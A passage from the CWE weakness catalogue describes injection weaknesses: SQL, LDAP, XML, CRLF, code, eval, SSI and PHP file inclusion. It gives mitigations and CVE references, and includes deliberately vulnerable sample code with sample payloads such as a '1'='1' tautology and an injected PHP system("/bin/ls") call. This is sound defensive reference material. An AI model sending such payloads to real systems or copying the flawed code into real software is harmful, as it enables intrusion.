SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

PHP Example:

Good Code

```
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code would need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

Example 6:

This example attempts to take a last name provided by a user and enter it into a database.

Bad Code

```
...
$userKey = getUserID();
$name = getUserInput();
$name = whiteList($name, "^a-zA-z'-$"); /* ensure only letters, hyphens and apostrophe are allowed */
$query = "INSERT INTO last_names VALUES('$userKey', '$name')"
```

While the programmer applies a whitelist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens which are used as comment structures in SQL. If a user specifies -- then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the whitelist permits the apostrophe which is also a data / command separator in SQL.. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

Observed Examples

Reference	Description
CVE-2003-0377	SQL injection in security product, using a crafted group name.
CVE-2004-0366	chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.
CVE-2007-6602	SQL injection via user name.
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric.
CVE-2008-2380	SQL injection in authentication library.
CVE-2008-2790	SQL injection through an ID that was supposed to be numeric.
CVE-2008-5817	SQL injection via user name or password fields.

Potential Mitigations

Architecture and Design

Requirements

Use languages, libraries, or frameworks that make it easier to generate properly encoded output.

For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Architecture and Design

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since you may re-introduce the possibility of SQL injection.

Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation

If you need to use dynamically-generated query strings in spite of the risk, use proper encoding and escaping of inputs. Instead of building your own implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.

Implementation

Assume all input is malicious. Use an "accept known good" input validation strategy (i.e., use a whitelist). Reject any input that does not strictly conform to specifications, or transform it into something that does. Use a blacklist to reject any unexpected inputs and detect potential attacks.

Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the input for further processing. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."

When constructing SQL query strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Testing

Implementation

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Operation

Use an application firewall that can detect attacks against this weakness. This might not catch all attacks, and it might require some effort for customization. However, it can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**700**	14
ChildOf	Wc	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699** **1000**	70
ChildOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	**629**	713
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	716
ChildOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	**711**	718
ChildOf	C	751	Insecure Interaction Between Components	**750**	733
CanFollow	We	*456*	*Missing Initialization*	*1000*	*477*
ParentOf	Wv	*564*	*SQL Injection: Hibernate*	***699*** ***1000***	*563*
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

Relationship Notes

SQL injection can be resultant from special character mismanagement, MAID, or blacklist/whitelist problems. It can be primary to authentication errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			SQL injection
7 Pernicious Kingdoms			SQL Injection
CLASP			SQL injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
7	Blind SQL Injection	
66	SQL Injection	

White Box Definitions

A weakness where the code path has:

1. start statement that accepts input
2. end statement that performs an SQL command where
   a. the input is part of the SQL command and
   b. the input is undesirable

Where "input is undesirable" is defined through the following scenarios:

1. input not validated
2. input incorrectly validated

References

M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.

Steven Friedl. " SQL Injection Attacks by Example". 2007-10-10. < http://www.unixwiz.net/techtips/sql-injection.html >.

Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007-03-15. < http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ >.

David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". Wiley. 2005-07-14.

David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". Wiley. 2007-01-30.
Microsoft. "SQL Injection". December 2008. < http://msdn.microsoft.com/en-us/library/ms161953.aspx >.
Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". < http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx >.
Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008-05-15. < http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx >.

CWE-90: Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')

Weakness ID: 90 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not sufficiently sanitize special elements that are used in LDAP queries or responses, allowing attackers to modify the syntax, contents, or commands of the LDAP query before it is executed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Technology Classes

- Database-Server

Demonstrative Examples

In the code excerpt below, user input data (address) isn't properly sanitized before it's used to construct an LDAP query.

Java Example: *Bad Code*

```
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);
```

Potential Mitigations

Assume all input is malicious. Use an appropriate combination of black lists and white lists to filter or quote LDAP syntax from user-controlled input.

Other Notes

Factors: resultant to special character mismanagement, MAID, or blacklist/whitelist problems. Can be primary to authentication and verification errors.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699** **1000**	70
ChildOf		713	OWASP Top Ten 2007 Category A2 - Injection Flaws	**629**	713

Research Gaps

Under-reported. This is likely found very frequently by third party code auditors, but there are very few publicly reported examples.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			LDAP injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws

References

SPI Dynamics. "Web Applications and LDAP Injection".

CWE-91: XML Injection (aka Blind XPath Injection)

Weakness ID: 91 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly filter or quote special characters or reserved words that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Assume all input is malicious. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699 1000**	70
ChildOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	**629**	713
ChildOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	**711**	718
ParentOf	WE	*643*	*Failure to Sanitize Data within XPath Expressions ('XPath injection')*	***699 1000***	*628*
ParentOf	WE	*652*	*Failure to Sanitize Data within XQuery Expressions ('XQuery Injection')*	***699 1000***	*638*

Research Gaps

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

Theoretical Notes

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XML injection (aka Blind Xpath injection)
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
83	XPath Injection	

References

Amit Klein. "Blind XPath Injection". 2004-05-19. < http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf >.

Maintenance Notes

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.

CWE-92: Insufficient Sanitization of Custom Special Characters

Weakness ID: 92 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses a custom or proprietary language or representation to pass messages to other actors, but it does not sufficiently sanitize special characters or reserved words from those messages.

Extended Description

This allows attackers to modify the syntax, content, or commands before they are processed by an end system.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0703	Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences
CVE-2001-0677	Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments.
CVE-2003-0020	Multi-channel issue. Terminal escape sequences not filtered from log files.
CVE-2003-0083	Multi-channel issue. Terminal escape sequences not filtered from log files.

Potential Mitigations

Assume all input is malicious. Use an appropriate combination of black lists and white lists to appropriately filter or quote custom special characters or reserved words in user-controlled input.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699 1000**	70

Relationship Notes

This can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special characters.

Research Gaps

Under-studied. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Custom Special Character Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
81	Web Logs Tampering	
93	Log Injection-Tampering-Forging	

Maintenance Notes

This and some other CWE nodes that were inherited from PLOVER might be considered for deprecation. PLOVER's intention was to support complete mapping coverage with "other" or

"miscellaneous" categories, to satisfy exhaustiveness requirements. Within the context of CWE, it might be decided that use of a more abstract entry would be preferred in mapping situations.

CWE-93: Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')

Weakness ID: 93 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not properly sanitize CRLF sequences from inputs.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

Java Example: *Bad Code*

```
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

Observed Examples

Reference	Description
CVE-2002-1771	CRLF injection enables spam proxy (add mail headers) using email address or name.
CVE-2002-1783	CRLF injection in API function arguments modify headers for outgoing requests.
CVE-2004-1513	Spoofed entries in web server log file via carriage returns
CVE-2004-1687	Chain: HTTP response splitting via CRLF in parameter related to URL.
CVE-2005-1951	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.
CVE-2006-4624	Chain: inject fake log entries with fake timestamps using CRLF injection

Potential Mitigations

Avoid using CRLF as a special sequence.

Appropriately filter or quote CRLF sequences in user-controlled input.

Other Notes

Factors: primary to HTTP Response Splitting.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699** **1000**	70
CanPrecede	WB	117	Improper Output Sanitization for Logs	1000	141
ChildOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	**629**	713
ParentOf	WB	*113*	*Failure to Sanitize CRLF Sequences in HTTP Headers ('HTTP Response Splitting')*	***1000***	*131*
CanAlsoBe	WV	*144*	*Failure to Sanitize Line Delimiters*	*1000*	*174*
CanAlsoBe	WV	*145*	*Failure to Sanitize Section Delimiters*	*1000*	*174*

Research Gaps

Probably under-studied, although gaining more prominence in 2005 as a result of interest in HTTP response splitting.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			CRLF Injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
15	Command Delimiters	
81	Web Logs Tampering	

References

Ulf Harnhammar. "CRLF Injection". Bugtraq. 2002-05-07. < http://marc.info/?l=bugtraq&m=102088154213630&w=2 >.

CWE-94: Failure to Control Generation of Code (aka 'Code Injection')

Weakness ID: 94 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not sufficiently filter code (control-plane) syntax from user-controlled input (data plane) when that input is used within code that the product generates.

Extended Description

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Interpreted languages *(Sometimes)*

Common Consequences

Confidentiality

The injected code could access restricted data / files

Authentication

In some cases, injectable code controls authentication; this may lead to a remote vulnerability

Access Control

Injected code can access resources that the attacker is directly prevented from accessing

Integrity

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Accountability

Often the actions performed by injected control code are unlogged.

Likelihood of Exploit

Medium

Demonstrative Examples

This example attempts to write user messages to a message file and allow users to view them.

Bad Code

```
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
  $name = $_GET["name"];
  $message = $_GET["message"];
  $handle = fopen($MessageFile, "a+");
  fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
  fclose($handle);
  echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
  include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Attack

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Attack

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Potential Mitigations

Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Implementation

Assume all input is malicious. Use an "accept known good" input validation strategy (i.e., use a whitelist). Reject any input that does not strictly conform to specifications, or transform it into something that does. Use a blacklist to reject any unexpected inputs and detect potential attacks.

To reduce the likelihood of code injection, use stringent whitelists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Operation

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force you to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699 1000**	70
ChildOf	Wc	691	Insufficient Control Flow Management	1000	682
ChildOf	C	752	Risky Resource Management	**750**	733
ParentOf	We	*95*	*Improper Sanitization of Directives in Dynamically Evaluated Code ('Eval Injection')*	***699 1000***	*112*
ParentOf	We	*96*	*Improper Sanitization of Directives in Statically Saved Code ('Static Code Injection')*	***699 1000***	*114*
CanFollow	B	*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	***699*** *1000*	*116*
ParentOf	We	*621*	*Variable Extraction Error*	***1000***	*606*
ParentOf	We	*627*	*Dynamic Variable Evaluation*	***699 1000***	*611*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

Research Gaps

Many of these weaknesses are under-studied and under-researched, and terminology is not sufficiently precise.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER	CODE	Code Evaluation and Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
35	Leverage Executable Code in Nonexecutable Files	
77	Manipulating User-Controlled Variables	

CWE-95: Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')

Weakness ID: 95 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software allows user-controlled input to be fed directly into a function (e.g. "eval") that dynamically evaluates and executes the input as code, usually in the same interpreted language that the product uses. This allows an attacker to execute arbitrary code.

Alternate Terms

Direct code injection

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java
- Javascript
- Python
- Perl
- PHP
- Interpreted Languages

Modes of Introduction

This weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

Likelihood of Exploit

Medium

Demonstrative Examples

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Bad Code

```
use CGI qw(:standard);
sub config_file_add_key {
  my ($fname, $key, $arg) = @_;
  # code to add a field/key to a file goes here
}
sub config_file_set_key {
  my ($fname, $key, $arg) = @_;
  # code to set key to a particular file goes here
}
sub config_file_delete_key {
  my ($fname, $key, $arg) = @_;
  # code to delete key from a particular file goes here
}
sub handleConfigAction {
  my ($fname, $action) = @_;
  my $key = param('key');
  my $val = param('val');
  # this is super-efficient code, especially if you have to invoke
  # any one of dozens of different functions!
  my $code = "config_file_$action_key(\$fname, \$key, \$val);";
  eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
  handleConfigAction($configfile, param('action'));
}
else {
  print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add_key(",","); system("/bin/ls"); This would produce the following string in handleConfigAction(): config_file_add_key(",","); system("/bin/ls"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Observed Examples

Reference	Description
CVE-2001-1471	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
CVE-2002-1750	Eval injection in Perl program.
CVE-2002-1752	Direct code injection into Perl eval function.
CVE-2002-1753	Eval injection in Perl program.
CVE-2005-1527	Direct code injection into Perl eval function.
CVE-2005-1921	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2498	MFV. code injection into PHP eval statement using nested constructs that should not be nested.
CVE-2005-2837	Direct code injection into Perl eval function.
CVE-2005-3302	Code injection into Python eval statement from a field in a formatted file.
CVE-2007-1253	Eval injection in Python program.
CVE-2008-5071	Eval injection in PHP program.
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers.

Potential Mitigations

Refactor your code so that it does not need to use eval() at all.

Assume all input is malicious. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system.

Other Notes

Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	94	Failure to Control Generation of Code ('Code Injection')	**699** **1000**	110
ChildOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	**629**	713
ChildOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	**711**	718

Research Gaps

This issue is probably under-reported. Most relevant CVEs have been for Perl and PHP, but eval injection applies to most interpreted languages. Javascript eval injection is likely to be heavily under-reported.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Dynamic Code Evaluation ('Eval Injection')
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
35	Leverage Executable Code in Nonexecutable Files

CWE-96: Insufficient Control of Directives in Statically Saved Code (Static Code Injection)

Weakness ID: 96 *(Weakness Base)* **Status:** Draft

Description

Summary

The software allows user-controlled input to be fed directly into an output file that is later processed as code, such as a library file or template.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- PHP
- Perl
- All Interpreted Languages

Observed Examples

Reference	Description
CVE-2002-0495	Perl code directly injected into CGI library file from parameters to another CGI program.
CVE-2003-0395	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
CVE-2005-1876	Direct PHP code injection into supporting template file.
CVE-2005-1894	Direct code injection into PHP script that can be accessed by attacker.

Potential Mitigations

Assume all input is malicious. Use an appropriate combination of black lists and white lists to filter code syntax from user-controlled input.

Avoid writing user-controlled input to code files.

Perform output validation to filter all code syntax from data written to non-code files.

Other Notes

"HTML injection" (see XSS) could be thought of as an example of this, but it is executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

This issue is most frequently found in PHP applications that allow users to set configuration variables that are stored within executable php files. Technically, this could also be performed in some compiled code (e.g. by byte-patching an executable), although it is highly unlikely.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		94	Failure to Control Generation of Code ('Code Injection')	**699 1000**	110
ChildOf		632	Weaknesses that Affect Files or Directories	**631**	615
ParentOf		*97*	*Failure to Sanitize Server-Side Includes (SSI) Within a Web Page*	***699 1000***	*116*

Affected Resources

- File/Directory

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Direct Static Code Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
18	Embedding Scripts in Nonscript Elements
35	Leverage Executable Code in Nonexecutable Files
63	Simple Script Injection
73	User-Controlled Filename
77	Manipulating User-Controlled Variables

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
81	Web Logs Tampering	
85	Client Network Footprinting (using AJAX/XSS)	
86	Embedding Script (XSS) in HTTP Headers	

CWE-97: Failure to Sanitize Server-Side Includes (SSI) Within a Web Page

Weakness ID: 97 *(Weakness Base)* **Status:** Draft

Description

Summary

The software fails to adequately filter server-side include (control-plane) syntax from user-controlled input (data plane) and then allows potentially injected server-side includes to be acted upon.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Implementation

Utilize an appropriate mix of white-list and black-list parsing to filter server-side include syntax from all input.

Other Notes

This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	96	Improper Sanitization of Directives in Statically Saved Code ('Static Code Injection')	**699** **1000**	114

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Server-Side Includes (SSI) Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
35	Leverage Executable Code in Nonexecutable Files	
101	Server Side Include (SSI) Injection	

CWE-98: Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')

Compound Element ID: 98 *(Compound Element Base: Composite)* **Status:** Draft

Description

Summary

The software allows user-controlled data to be directly processed by the PHP interpreter before inclusion in the script through use of "require," "include," or similar statements.

Alternate Terms

PHP remote file inclusion

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP

Observed Examples

Reference	Description
CVE-2002-1704	PHP remote file include.
CVE-2002-1707	PHP remote file include.
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0127	Directory traversal vulnerability in PHP include statement.
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion.
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-1681	PHP remote file include.
CVE-2005-1864	PHP file inclusion.
CVE-2005-1869	PHP file inclusion.
CVE-2005-1870	PHP file inclusion.
CVE-2005-1964	PHP remote file include.
CVE-2005-1971	Directory traversal vulnerability in PHP include statement.
CVE-2005-2086	PHP remote file include.
CVE-2005-2154	PHP local file inclusion.
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.

Potential Mitigations

Assume all input is malicious. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	WE	94	Failure to Control Generation of Code ('Code Injection')	**699** 1000	110
Requires	WE	216	Containment Errors (Container Errors)	1000	246
Requires	WE	425	Direct Request ('Forced Browsing')	1000	451
CanAlsoBe		426	Untrusted Search Path	1000	453
Requires	WE	456	Missing Initialization	1000	477
Requires	WV	473	PHP External Variable Modification	1000	495
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	WE	706	Use of Incorrectly-Resolved Name or Reference	**1000**	708
ChildOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	**629**	713
ChildOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	**711**	718
CanFollow	WE	*73*	*External Control of File Name or Path*	*1000*	*67*
CanFollow	WE	*184*	*Incomplete Blacklist*	*1000*	*212*

Relationship Notes

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

